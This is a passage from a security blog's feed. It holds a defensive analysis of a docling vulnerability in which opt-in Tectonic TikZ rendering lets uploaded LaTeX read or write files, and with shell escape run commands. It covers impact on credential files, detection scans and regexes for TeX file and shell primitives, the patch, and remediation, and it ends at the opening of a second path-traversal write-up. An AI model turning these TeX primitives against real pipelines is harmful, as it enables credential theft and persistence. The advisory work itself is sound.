file create and overwrite</strong>, limited to what the process can write, via <code>\immediate\openout</code> and <code>\write</code>, with no shell escape required.</li><li><strong>Arbitrary command execution</strong> when <code>tikz_engine_allow_shell_escape=True</code>, via <code>\write18</code>.</li><li>The advisory states that writing to startup or configuration files can lead to code execution even without shell escape.</li></ul><h3 id="Deployment-dependent-consequences-Inferred"><a href="#Deployment-dependent-consequences-Inferred" class="headerlink" title="Deployment-dependent consequences (Inferred)"></a>Deployment-dependent consequences (Inferred)</h3><ul><li><strong>Credential disclosure.</strong> An ingestion worker’s environment, cloud credential files, <code>.netrc</code>, Kubernetes service-account token, or SSH keys are all ordinary files to a process that can read them.</li><li><strong>Pivot to cloud metadata.</strong> Not directly — TeX’s primitives are file primitives, not network ones. But a read of a credential file on disk achieves the same end result as the metadata SSRF path, without needing a URL fetch.</li><li><strong>Persistence across restarts.</strong> A write that lands in an interpreter startup path or a service config file executes on the next worker start. Ingestion workers restart often.</li><li><strong>Poisoning the pipeline’s own output.</strong> A write into a shared scratch or output volume can alter what downstream chunking and embedding stages consume, which is a data-integrity problem the pipeline has no reason to check for.</li><li><strong>Multi-tenant blast radius.</strong> A shared converter pool processes documents from many tenants with one identity. One tenant’s upload reads and writes as that identity.</li></ul><h3 id="What-bounds-the-severity"><a href="#What-bounds-the-severity" class="headerlink" title="What bounds the severity"></a>What bounds the severity</h3><p>Honesty about the limits matters as much as the impact list, and the <code>AC:H</code> &#x2F; <code>UI:R</code> in the vector is doing real work here:</p><ul><li><strong>The default configuration is not affected.</strong> <code>tikz_engine</code> defaults to <code>None</code>.</li><li><strong>Docling does not install <code>tectonic</code>.</strong> The binary must already be on <code>PATH</code> or in the Docling cache.</li><li><strong>The CLI cannot enable it.</strong> Reaching this requires Python code that constructs <code>LatexBackendOptions(tikz_engine=&quot;tectonic&quot;)</code>.</li><li><strong>Shell escape is off by default</strong> in the backend path.</li></ul><p>That is a genuinely narrow precondition set, and it is the right reason this is 7.5 and not 9-point-something. But “opt-in” describes who is exposed, not how exposed they are. A caller who enabled TikZ rendering did so to render diagrams, and had no way to know the option also handed every submitted document a file-I&#x2F;O-capable interpreter. The option’s description, before 2.132.0, read: <em>“Set to ‘tectonic’ to enable asynchronous image generation.”</em></p><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><h3 id="Configuration-review-—-this-is-the-fast-answer"><a href="#Configuration-review-—-this-is-the-fast-answer" class="headerlink" title="Configuration review — this is the fast answer"></a>Configuration review — this is the fast answer</h3><p>The exposure question is almost entirely answerable statically, without touching a running system:</p><ul><li>Search your codebase for <code>tikz_engine</code>. If no call site sets it to <code>&quot;tectonic&quot;</code>, you are not affected, regardless of installed version.</li><li>Search for <code>tikz_engine_allow_shell_escape=True</code>. Any hit is a finding on its own merit, at any version, including 2.132.0.</li><li>Search for direct <code>TectonicEngine(</code> instantiation. Those call sites inherited <code>allow_shell_escape=True</code> before 2.132.0.</li><li>Check whether a <code>tectonic</code> binary exists on <code>PATH</code> or at <code>~/.cache/docling/tectonic</code> in the converter image.</li><li>Pin the installed version: <code>pip show docling docling-slim</code>. Affected range is <code>&gt;= 2.94.0, &lt; 2.132.0</code>.</li></ul><h3 id="Telemetry-worth-reviewing"><a href="#Telemetry-worth-reviewing" class="headerlink" title="Telemetry worth reviewing"></a>Telemetry worth reviewing</h3><p>If <code>tikz_engine=&quot;tectonic&quot;</code> was enabled on an affected version and untrusted documents were processed, absence of an alert is not evidence of absence — none of this triggers a security control by default. What is reviewable:</p><ul><li>Docling logs for <code>&quot;Path traversal attempt blocked for TikZ dependency&quot;</code> and <code>&quot;Absolute TikZ dependency paths are not staged&quot;</code>. These indicate a document that <em>named</em> an outside path. They do not indicate the compile was prevented — and a document using <code>\openout</code> directly produces no log line at all. Treat a hit as a signal to investigate the document, and absence of hits as uninformative.</li><li>File-integrity monitoring on config, startup and interpreter paths writable by the converter user, over the window the affected version was deployed.</li><li>Process creation under the converter process. Relevant only if shell escape was enabled.</li><li>Unexplained files in scratch or output volumes, correlated with conversion timestamps.</li><li>Rendered figures in stored conversion output that contain text rather than a diagram. That is what a successful read looks like in the artefact.</li></ul><p>Review the documents themselves if you retained them. A static scan of stored <code>.tex</code> inputs for <code>\openout</code>, <code>\openin</code>, <code>\write18</code> and absolute-path <code>\input</code> is cheap and is the most direct evidence available.</p><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required"><a href="#Required" class="headerlink" title="Required"></a>Required</h3><p><strong>Upgrade to <code>docling &gt;= 2.132.0</code></strong> (or <code>docling-slim &gt;= 2.132.0</code>). There is no configuration change that fully substitutes for it, because the write primitive survives correct flag hardening.</p><h3 id="If-you-cannot-upgrade-immediately"><a href="#If-you-cannot-upgrade-immediately" class="headerlink" title="If you cannot upgrade immediately"></a>If you cannot upgrade immediately</h3><p>Both of these come from the advisory’s own workarounds section:</p><ul><li><strong>Set <code>tikz_engine=None</code></strong> (the default) for any pipeline that handles untrusted input. You lose rendered TikZ diagrams; you keep the TikZ source as code metadata, which is the same fallback 2.132.0 uses when it declines to render.</li><li><strong>Never set <code>tikz_engine_allow_shell_escape=True</code></strong> for untrusted input, on any version.</li></ul><h3 id="Regardless-of-version-—-and-the-vendor-says-this-too"><a href="#Regardless-of-version-—-and-the-vendor-says-this-too" class="headerlink" title="Regardless of version — and the vendor says this too"></a>Regardless of version — and the vendor says this too</h3><p>This is the part not to skip. The 2.132.0 documentation itself states:</p><blockquote><p>The pre-check only reads the source text and does not cover every way TeX can access files. When rendering untrusted LaTeX with Tectonic, run the conversion in an isolated environment, for example a container without host mounts or network access.</p></blockquote><p>So, for any pipeline that renders untrusted LaTeX:</p><ul><li>Run conversion in a container with <strong>no host mounts</strong>, a <strong>read-only root filesystem</strong>, and a dedicated writable <code>tmpfs</code> for the build directory only.</li><li>Give it <strong>no network</strong>, which removes the metadata-endpoint and egress concerns wholesale.</li><li>Give it <strong>no credentials</strong>. An ingestion worker that parses documents does not need a cloud key in its environment; if it needs one to store results, put that on the other side of a queue.</li><li>Run as a <strong>non-root user</strong> with no write access to anything outside the scratch directory.</li><li>Enforce the <code>tikz_engine_timeout</code>, and treat a timeout as a signal rather than a retry.</li></ul><p>The reason to do all of this even on 2.132.0 is that the fix is explicitly best-effort. The container is the control that actually holds.</p><h2 id="What-the-patch-does-and-what-it-admits-it-cannot-do"><a href="#What-the-patch-does-and-what-it-admits-it-cannot-do" class="headerlink" title="What the patch does, and what it admits it cannot do"></a>What the patch does, and what it admits it cannot do</h2><p>The fix is commit <a href="https://github.com/docling-project/docling/commit/38b6fa0a465d46fdacbbec333f50fa19c4f6b342"><code>38b6fa0</code></a> via <a href="https://github.com/docling-project/docling/pull/4419">PR #4419</a>, released in 2.132.0. It has three parts.</p><p><strong>1. The default flipped, and hardening flags were added.</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">_build_command</span>(<span class="params">self, tex_file: Path</span>) -&gt; <span class="built_in">list</span>[<span class="built_in">str</span>]:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Build the Tectonic command line for compiling ``tex_file``.&quot;&quot;&quot;</span></span><br><span class="line">    cmd = [<span class="built_in">str</span>(<span class="variable language_">self</span>.binary_path)]</span><br><span class="line">    <span class="keyword">if</span> <span class="variable language_">self</span>.allow_shell_escape:</span><br><span class="line">        <span class="comment"># --untrusted would disable shell escape, so it is not added here.</span></span><br><span class="line">        cmd.extend([<span class="string">&quot;-Z&quot;</span>, <span class="string">&quot;shell-escape&quot;</span>])</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="comment"># --untrusted disables shell escape and extra search paths;</span></span><br><span class="line">        <span class="comment"># --only-cached prevents network fetches of bundle files.</span></span><br><span class="line">        cmd.append(<span class="string">&quot;--untrusted&quot;</span>)</span><br><span class="line">        cmd.append(<span class="string">&quot;--only-cached&quot;</span>)</span><br><span class="line">    cmd.append(<span class="string">&quot;--print&quot;</span>)</span><br><span class="line">    cmd.append(<span class="built_in">str</span>(tex_file))</span><br><span class="line">    <span class="keyword">return</span> cmd</span><br></pre></td></tr></table></figure><p><code>allow_shell_escape</code> now defaults to <code>False</code>, closing the CWE-1188 gap for direct instantiation. <code>--only-cached</code> is a nice secondary hardening: it stops Tectonic fetching bundle files on demand, removing a network dependency from the compile.</p><p><strong>2. A best-effort source pre-check.</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">_PATH_ARGUMENT_PATTERN = re.<span class="built_in">compile</span>(</span><br><span class="line">    <span class="string">r&quot;\\(?P&lt;command&gt;input|include|includegraphics|InputIfFileExists|graphicspath)&quot;</span></span><br><span class="line">    <span class="string">r&quot;(?![A-Za-z])\*?(?:\s*\[[^\]]*\])?\s*\&#123;*\s*(?P&lt;path&gt;[^&#123;&#125;\s]*)&quot;</span></span><br><span class="line">)</span><br><span class="line">_FILE_PRIMITIVE_PATTERN = re.<span class="built_in">compile</span>(</span><br><span class="line">    <span class="string">r&quot;\\(?P&lt;command&gt;openin|openout|XeTeXpicfile|XeTeXpdffile)(?![A-Za-z])&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="meta">@classmethod</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">_find_unsafe_construct</span>(<span class="params">cls, text: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span> | <span class="literal">None</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Return a description of the first outside file reference, if any.&quot;&quot;&quot;</span></span><br><span class="line">    primitive = cls._FILE_PRIMITIVE_PATTERN.search(text)</span><br><span class="line">    <span class="keyword">if</span> primitive <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">f&quot;\\<span class="subst">&#123;primitive.group(<span class="string">&#x27;command&#x27;</span>)&#125;</span>&quot;</span></span><br><span class="line">    <span class="keyword">for</span> <span class="keyword">match</span> <span class="keyword">in</span> cls._PATH_ARGUMENT_PATTERN.finditer(text):</span><br><span class="line">        path = <span class="keyword">match</span>.group(<span class="string">&quot;path&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> (</span><br><span class="line">            path.startswith((<span class="string">&quot;/&quot;</span>, <span class="string">&quot;\\&quot;</span>, <span class="string">&quot;~&quot;</span>))</span><br><span class="line">            <span class="keyword">or</span> re.<span class="keyword">match</span>(<span class="string">r&quot;[A-Za-z]:&quot;</span>, path)</span><br><span class="line">            <span class="keyword">or</span> <span class="string">&quot;..&quot;</span> <span class="keyword">in</span> re.split(<span class="string">r&quot;[/\\]&quot;</span>, path)</span><br><span class="line">        ):</span><br><span class="line">            <span class="keyword">return</span> <span class="string">f&quot;\\<span class="subst">&#123;<span class="keyword">match</span>.group(<span class="string">&#x27;command&#x27;</span>)&#125;</span> with path <span class="subst">&#123;path!r&#125;</span>&quot;</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br></pre></td></tr></table></figure><p>Two things about this are well judged. It runs over <strong>every staged file and the generated <code>diagram.tex</code> itself</strong>, not just the TikZ body — so the attacker-controlled preamble is in scope. And when it matches, rendering is skipped and the diagram degrades to TikZ source metadata rather than failing the conversion, so the control is unlikely to be disabled for being disruptive.</p><p><strong>3. The option description was rewritten</strong> to say what the option now implies, including that the check is best-effort.</p><h3 id="The-limits-stated-by-the-vendor"><a href="#The-limits-stated-by-the-vendor" class="headerlink" title="The limits, stated by the vendor"></a>The limits, stated by the vendor</h3><p>The advisory does not oversell the fix:</p><blockquote><p>This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros.</p></blockquote><p>That is the correct characterisation. A regex over TeX source cannot be complete, because TeX constructs control sequences at runtime — <code>\csname</code>, <code>\expandafter</code>, catcode reassignment — and a name assembled during expansion is not present in the source text to be matched. The pre-check raises the cost of exploitation; it does not establish a boundary.</p><p>Two further observations, from reading the patch rather than the advisory:</p><ul><li><strong>The pre-check does not run when shell escape is enabled.</strong> The call site is <code>if not self.allow_shell_escape and not self._precheck_staged_files(temp_path)</code>. This is deliberate and documented — the docs state that enabling shell escape “skips the source pre-check described below” — but the consequence is worth naming: setting <code>tikz_engine_allow_shell_escape=True</code> on 2.132.0 gives you the pre-2.132.0 exposure <em>plus</em> <code>\write18</code>. The option is not a performance toggle.</li><li><strong>An earlier, stricter version of the check was deliberately simplified before merge.</strong> The PR’s commit messages record an intermediate implementation that also skipped rendering when the source “builds control sequences indirectly” and when it “uses package commands and options that read or write files.” The final commit, titled <em>“fix(latex): simplify the Tectonic source pre-check,”</em> states that it “replace[s] the broad control-word scan” with the narrower pattern pair shown above. That is a defensible trade — a broad control-word scan over real-world LaTeX will refuse to render a great many legitimate documents — but it means the shipped check knowingly does not cover the <code>\csname</code> class that the advisory then names as a limitation.</li></ul><p>This is not a criticism of the patch so much as the reason the patch ships with a documentation note telling you to use a container. The maintainers fixed what is fixable in a text check and were explicit about the residual risk. That is the right way to handle a bug where the sink is an interpreter.</p><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date (UTC)</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2026-05-18</td><td>docling 2.94.0 released, adding opt-in Tectonic TikZ rendering (PR #3369) — start of the affected range</td><td>Release metadata</td></tr><tr><td>2026-09-29</td><td>Fix commit <code>38b6fa0</code> merged via PR #4419</td><td>Commit metadata</td></tr><tr><td>2026-10-01 09:44</td><td>docling 2.132.0 released</td><td>Release metadata</td></tr><tr><td>2026-10-01 11:54</td><td>GHSA-x3q2-h9hx-4r4j published</td><td>Advisory metadata</td></tr><tr><td>2026-10-05 19:11</td><td>CVE-2026-105744 reserved</td><td>CVE record metadata</td></tr><tr><td>2026-10-05 21:27</td><td>CVE-2026-105744 published</td><td>CVE record metadata</td></tr><tr><td>2026-10-06</td><td>This analysis published</td><td>This site</td></tr></tbody></table><p>The sequencing is worth noting as good practice: the fix was merged, then released, then the advisory was published two hours after the release, and the CVE identifier was attached four days later. Users who track releases had the patch available before the vulnerability was public.</p><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="A-guard-belongs-at-the-sink-not-at-the-stage-before-it"><a href="#A-guard-belongs-at-the-sink-not-at-the-stage-before-it" class="headerlink" title="A guard belongs at the sink, not at the stage before it"></a>A guard belongs at the sink, not at the stage before it</h3><p>Docling’s path validation was correct, ordered properly, and fail-closed. It also could not possibly have prevented this, because it guarded the copy step while the damage happened in the compile step. When you write a containment check, name the operation it contains. If you cannot name one, you have written a filter, not a boundary.</p><p>This is the same lesson as the <a href="/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/">knowns</a> set from the opposite direction. There, the defect was that <code>filepath.Join</code> composes and cleans but never <em>constrains</em>, and the fix was to move containment down into the storage layer where every caller inherits it. Here the project had containment logic but attached it to the wrong operation. Both failures are about layer placement, not about path parsing.</p><h3 id="Handing-untrusted-input-to-an-interpreter-is-a-sandbox-decision"><a href="#Handing-untrusted-input-to-an-interpreter-is-a-sandbox-decision" class="headerlink" title="Handing untrusted input to an interpreter is a sandbox decision"></a>Handing untrusted input to an interpreter is a sandbox decision</h3><p><code>\openout</code> is not a vulnerability in TeX. It is a documented feature that LaTeX’s own cross-referencing depends on. There is no flag that makes TeX safe for untrusted input, which means the decision “compile this attacker-controlled document” is irreversibly a decision about what the surrounding process is allowed to touch.</p><p>The practical test: if your mitigation is a pattern list over the input language, ask whether that language can build names at runtime. If it can — TeX, shell, SQL with dynamic identifiers, any template engine with reflection — the pattern list is a cost increase, and the real control is process isolation. Write the pattern list anyway. Just do not let it be the only thing.</p><h3 id="“Opt-in”-bounds-who-is-affected-not-how-badly"><a href="#“Opt-in”-bounds-who-is-affected-not-how-badly" class="headerlink" title="“Opt-in” bounds who is affected, not how badly"></a>“Opt-in” bounds who is affected, not how badly</h3><p>The narrow precondition set is the honest reason this scored 7.5. It is not a reason to deprioritise it, because the people who opted in are exactly the people processing LaTeX — which overwhelmingly means academic papers, arXiv sources and submitted documents. The population that enabled the feature correlates strongly with the population handling untrusted input.</p><p>And they could not have known. The option read “enable asynchronous image generation.” Nothing in that sentence suggests a file-I&#x2F;O-capable interpreter. <strong>If an option changes the trust model, the option’s own description is where it has to say so</strong> — which is precisely what 2.132.0 changed it to do.</p><h3 id="Check-what-happens-when-the-optional-guard-is-absent"><a href="#Check-what-happens-when-the-optional-guard-is-absent" class="headerlink" title="Check what happens when the optional guard is absent"></a>Check what happens when the optional guard is absent</h3><p>The most exposed configuration here is the one where <code>source_root</code> is <code>None</code>, because a <code>DocumentStream</code> has no parent directory. The validation silently did not run, and the compile proceeded anyway. Whenever a security check is conditional on a value being present, enumerate the cases where it is not — and make sure the dangerous operation is gated on the same condition the check is. Here, <code>return</code> on a missing <code>source_root</code> skipped the guard; it should have been a decision about whether to render at all.</p><h3 id="Read-the-vendor’s-stated-limitations-as-part-of-the-fix"><a href="#Read-the-vendor’s-stated-limitations-as-part-of-the-fix" class="headerlink" title="Read the vendor’s stated limitations as part of the fix"></a>Read the vendor’s stated limitations as part of the fix</h3><p>2.132.0’s documentation says the pre-check is best-effort and tells you to use an isolated environment. That note is not boilerplate — it is the maintainers accurately describing where the boundary now is. An upgrade that ignores it leaves you patched against the published proof of concept and exposed to the class. Treat “upgrade” and “the advisory’s hardening guidance” as one remediation, not two.</p><h2 id="Related-reading"><a href="#Related-reading" class="headerlink" title="Related reading"></a>Related reading</h2><ul><li><a href="/posts/2026/07/2026-07-13-cve-2026-57572-crawl4ai-docker-api-argument-injection/">CVE-2026-57572: Crawl4AI Unauthenticated RCE via Chromium Argument Injection</a> — a configuration field crossing into a process-launch grammar</li><li><a href="/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/">CVE-2026-86775: knowns Path Traversal via the Document API</a> — containment belongs at the sink</li><li><a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439: knowns Path Traversal in the MCP Doc and Memory Tools</a> — the same sink reached from a second entry point</li><li><a href="/posts/2026/08/cve-2026-55533-praisonai-recipe-auth-fail-open/">CVE-2026-55533: PraisonAI Recipe Authorization Fail-Open</a> — a check that ran and decided nothing</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-105744">CVE.org record: CVE-2026-105744</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-105744">NIST National Vulnerability Database: CVE-2026-105744</a></li><li><a href="https://github.com/docling-project/docling/security/advisories/GHSA-x3q2-h9hx-4r4j">GitHub Security Advisory: GHSA-x3q2-h9hx-4r4j</a></li><li><a href="https://github.com/docling-project/docling/commit/38b6fa0a465d46fdacbbec333f50fa19c4f6b342">Fix commit <code>38b6fa0</code></a></li><li><a href="https://github.com/docling-project/docling/pull/4419">PR #4419: run Tectonic without shell escape and skip TikZ that references outside files</a></li><li><a href="https://github.com/docling-project/docling/releases/tag/v2.132.0">docling v2.132.0 release</a></li><li><a href="https://github.com/docling-project/docling/blob/v2.131.0/docling/backend/latex/engines/tectonic.py#L57-L66"><code>TectonicEngine.__init__</code> at v2.131.0 — <code>allow_shell_escape=True</code></a></li><li><a href="https://github.com/docling-project/docling/blob/v2.131.0/docling/backend/latex/engines/tectonic.py#L103-L128"><code>_resolve_local_dependency</code> at v2.131.0 — the guard</a></li><li><a href="https://github.com/docling-project/docling/blob/v2.131.0/docling/backend/latex/engines/tectonic.py#L214-L256"><code>TectonicEngine.render</code> at v2.131.0 — the unguarded compile</a></li><li><a href="https://github.com/docling-project/docling/blob/v2.131.0/docling/backend/latex/handlers/environments.py#L171-L240"><code>_process_tikzpicture</code> at v2.131.0 — the call site</a></li><li><a href="https://github.com/docling-project/docling/blob/v2.132.0/docling/backend/latex/engines/tectonic.py#L120-L155"><code>_find_unsafe_construct</code> and <code>_precheck_staged_files</code> at v2.132.0</a></li><li><a href="https://github.com/docling-project/docling/blob/v2.132.0/docling/backend/latex/engines/tectonic.py#L270-L283"><code>_build_command</code> at v2.132.0</a></li><li><a href="https://github.com/docling-project/docling/blob/v2.132.0/docs/reference/pipeline_options.md">docling pipeline options reference — TikZ rendering</a></li><li><a href="https://tectonic-typesetting.github.io/en-US/index.html">Tectonic typesetting documentation</a></li></ul><p>This is independent analysis of a vulnerability reported by others; the GitHub advisory credits reporters who are not publicly named. Recheck the primary sources above during remediation — public vulnerability records are frequently revised after publication.</p>]]></content>
    
    
    <summary type="html">CVE-2026-105744 affects docling and docling-slim from 2.94.0 until 2.132.0. Callers that opt into LatexBackendOptions(tikz_engine=&quot;tectonic&quot;) compile untrusted TikZ and preamble with no restriction on TeX&#39;s file primitives, giving arbitrary file read and write — and shell commands when shell escape is enabled. Upgrade to 2.132.0.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="path-traversal" scheme="https://blog.nhhoang.io.vn/tags/path-traversal/"/>
    
    <category term="cwe-22" scheme="https://blog.nhhoang.io.vn/tags/cwe-22/"/>
    
    <category term="arbitrary-file-write" scheme="https://blog.nhhoang.io.vn/tags/arbitrary-file-write/"/>
    
    <category term="docling" scheme="https://blog.nhhoang.io.vn/tags/docling/"/>
    
    <category term="latex" scheme="https://blog.nhhoang.io.vn/tags/latex/"/>
    
    <category term="tikz" scheme="https://blog.nhhoang.io.vn/tags/tikz/"/>
    
    <category term="tectonic" scheme="https://blog.nhhoang.io.vn/tags/tectonic/"/>
    
    <category term="python" scheme="https://blog.nhhoang.io.vn/tags/python/"/>
    
    <category term="cwe-73" scheme="https://blog.nhhoang.io.vn/tags/cwe-73/"/>
    
    <category term="cwe-1188" scheme="https://blog.nhhoang.io.vn/tags/cwe-1188/"/>
    
    <category term="document-parsing" scheme="https://blog.nhhoang.io.vn/tags/document-parsing/"/>
    
    <category term="rag" scheme="https://blog.nhhoang.io.vn/tags/rag/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-86775: knowns Path Traversal via the Document API</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/</id>
    <published>2026-09-10T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.496Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This article analyses a fixed, publicly disclosed vulnerability using the vendor’s own published source references. It describes the defective data flow and the remediation. It does not include working traversal strings, target path lists, or a runnable proof of concept.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-86775 is a path-traversal vulnerability in the HTTP Document API of <a href="https://github.com/knowns-dev/knowns">knowns</a> before 0.30.0. The route layer passes the caller-supplied document path through a helper called <code>cleanDocPath()</code>, which trims a leading slash, a trailing <code>.md</code>, and surrounding separators — and leaves parent-directory segments completely untouched. The storage layer then joins that value onto the documents directory with <code>filepath.Join</code> and never checks that the result stayed inside it.</p><p>The result is read, create, overwrite and delete of arbitrary <code>.md</code> files anywhere the process can reach, plus creation of arbitrary directories through <code>os.MkdirAll</code>.</p><p>The weakness is <strong>CWE-22: Improper Limitation of a Pathname to a Restricted Directory</strong>. The vendor scores it <strong>CVSS 4.0 8.8 High</strong> (<code>CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N</code>) and <strong>CVSS 3.1 8.6 High</strong> (<code>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L</code>).</p><p>This is the eighth CVE in the knowns 0.30.0 set, and it is the most instructive one, because it is a <strong>variant</strong> rather than a new bug. <a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a> covered the same unsafe join in <code>internal/storage/doc_store.go</code> reached through the <strong>MCP doc and memory tools</strong>. This CVE covers the <em>same storage layer</em> reached through the <strong>unauthenticated HTTP Document API</strong> — and where the MCP path was mostly a read primitive, this one carries write, delete, and directory creation with it.</p><p>The <code>PR:N</code> in the vector comes from <a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a>: the management API was unauthenticated and bound to every interface by default.</p><p>Fixed in <strong>knowns 0.30.0</strong>.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the CVE record, the GitHub Security Advisory, or the project’s published source and release material.</li><li><strong>Inferred</strong> means a deployment consequence derived from those facts and clearly marked as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-86775</td><td>Verified</td></tr><tr><td>Advisory</td><td>GHSA-3h35-4jq7-hv45</td><td>Verified</td></tr><tr><td>Product</td><td>knowns (<code>pkg:npm/knowns</code>, Go implementation)</td><td>Verified</td></tr><tr><td>Affected versions</td><td>All versions before 0.30.0</td><td>Verified</td></tr><tr><td>Fixed version</td><td>0.30.0</td><td>Verified</td></tr><tr><td>Weakness</td><td>Path traversal, CWE-22</td><td>Verified</td></tr><tr><td>Entry point</td><td>Document path on the <code>/api/docs</code> routes</td><td>Verified</td></tr><tr><td>Dangerous sinks</td><td><code>os.MkdirAll</code>, <code>writeFile</code>, <code>os.Remove</code> on a <code>filepath.Join</code> result</td><td>Verified</td></tr><tr><td>Authentication required</td><td>None, by default</td><td>Verified</td></tr><tr><td>Operations exposed</td><td>Read, create, overwrite, delete, plus directory creation</td><td>Verified</td></tr><tr><td>File-type constraint</td><td><code>.md</code> for file operations; none for directory creation</td><td>Verified</td></tr><tr><td>CVSS 4.0</td><td>8.8 High</td><td>Verified</td></tr><tr><td>CVSS 3.1</td><td>8.6 High</td><td>Verified</td></tr><tr><td>Reporters</td><td>uziii2208, hoanggxyuuki</td><td>Verified</td></tr></tbody></table><h2 id="The-routes-involved"><a href="#The-routes-involved" class="headerlink" title="The routes involved"></a>The routes involved</h2><p>From <code>internal/server/routes/docs.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(dr *DocRoutes)</span></span> Register(r chi.Router) &#123;</span><br><span class="line">r.Get(<span class="string">&quot;/docs&quot;</span>, dr.list)</span><br><span class="line">r.Post(<span class="string">&quot;/docs&quot;</span>, dr.create)</span><br><span class="line"><span class="comment">// Wildcard routes must come after specific ones.</span></span><br><span class="line">r.Get(<span class="string">&quot;/docs/*&quot;</span>, dr.getOrHistory)</span><br><span class="line">r.Post(<span class="string">&quot;/docs/*&quot;</span>, dr.postDocAction)</span><br><span class="line">r.Put(<span class="string">&quot;/docs/*&quot;</span>, dr.update)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Two independent ways in. <code>POST /api/docs</code> takes the path from the JSON body. The wildcard routes take it from the URL, so a percent-encoded traversal survives routing and is decoded before it reaches the helper. Both funnel into the same place.</p><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><h3 id="The-normaliser-that-normalises-nothing-dangerous"><a href="#The-normaliser-that-normalises-nothing-dangerous" class="headerlink" title="The normaliser that normalises nothing dangerous"></a>The normaliser that normalises nothing dangerous</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">cleanDocPath</span><span class="params">(raw <span class="type">string</span>)</span></span> <span class="type">string</span> &#123;</span><br><span class="line">raw = strings.TrimPrefix(raw, <span class="string">&quot;/&quot;</span>)</span><br><span class="line">raw = strings.TrimSuffix(raw, <span class="string">&quot;.md&quot;</span>)</span><br><span class="line"><span class="keyword">return</span> strings.Trim(raw, <span class="string">&quot;/&quot;</span>)</span><br><span 